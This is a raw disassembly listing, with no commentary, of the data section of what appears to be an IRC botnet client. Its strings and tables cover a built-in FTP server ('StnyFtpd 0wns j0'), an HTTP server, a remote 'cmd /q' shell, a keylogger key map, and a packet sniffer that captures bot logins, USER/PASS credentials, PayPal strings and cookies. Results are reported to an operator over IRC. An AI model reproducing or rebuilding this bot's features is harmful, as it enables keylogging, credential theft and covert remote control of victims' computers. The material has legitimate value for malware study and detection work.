aFtpTransferSta db 'ftp transfer started to: %s',0
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
align 4
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 4
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 4
a226TransferC_0 db '226 Transfer complete',0Ah,0
align 10h
aList_0 db 'LIST',0
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: ___:00437C78o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: ___:00437C84o
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_3 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
unk_4337FC db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_433824 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo
; sub_41A4D1+F5o
align 4
aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o
; sub_41AA42+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo
align 4
unk_433A44 db 2Dh ; - ; DATA XREF: sub_40F6B3+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_37 db ' failed to start worker thread, error %d',0
align 4
unk_433A7C db 2Dh ; - ; DATA XREF: sub_40F6B3+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 10h
asc_433AB0: ; DATA XREF: sub_40F6B3+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40F96A+652o
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40F96A+61Co
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o
; sub_40F96A+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
align 10h
aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o
; sub_40F96A+40Bo
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao
align 10h
a__ db '..',0 ; DATA XREF: sub_40F96A+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 10h
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_433F58 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F9C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o
aClientConnecti db '- client connection from %s:%d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0
unk_434004 db 2Dh ; - ; DATA XREF: ___:00410493o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_43404C db 2Dh ; - ; DATA XREF: ___:004106E5o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0
unk_43408C db 2Dh ; - ; DATA XREF: ___:0041061Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 10h
unk_4340D0 db 2Dh ; - ; DATA XREF: ___:004109A8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4340FC db 2Dh ; - ; DATA XREF: ___:00410981o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_434128 db 2Dh ; - ; DATA XREF: ___:00410961o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
align 4
unk_434164 db 2Dh ; - ; DATA XREF: ___:004108A0o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 10h
unk_434190 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_4341BC dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_410A1E+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
unk_434358 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_43438C db 2Dh ; - ; DATA XREF: sub_410CD5+59o
; sub_410CD5+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_4343D4 db 2Dh ; - ; DATA XREF: sub_410E26+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_4343FC db 2Dh ; - ; DATA XREF: sub_410E26+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_43443C db 2Dh ; - ; DATA XREF: sub_410E26+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_43447C db 2Dh ; - ; DATA XREF: sub_410F1F+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co
align 4
dword_4344BC dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_410FF8+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h
dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh
dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh
dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0
aTftpTransferCo db 'Tftp transfer complete to: %s',0
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0
align 10h
dw 8
unicode 0, <>,0
aB:
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_434E2C dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
align 4
asc_434E5C: ; DATA XREF: ___:00411C3Fo
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0
align 4
dd offset off_435720
dd offset off_43571C
dd offset off_435718
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
db 3Ah
db 2Eh, 69h, 64h ; DATA XREF: ___:off_43571Co
dd 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EB4o
align 4
off_435718 dd offset word_505446 ; DATA XREF: ___:00434EB0o
off_43571C dd offset byte_435249 ; DATA XREF: ___:00434EACo
off_435720 dd offset loc_544F41+1 ; DATA XREF: ___:00434EA8o
dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo
align 10h
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o
aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o
aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o
a366 db '366 ',0 ; DATA XREF: sub_412360+73o
align 4
a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o
align 10h
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do
align 4
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo
align 10h
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o
align 4
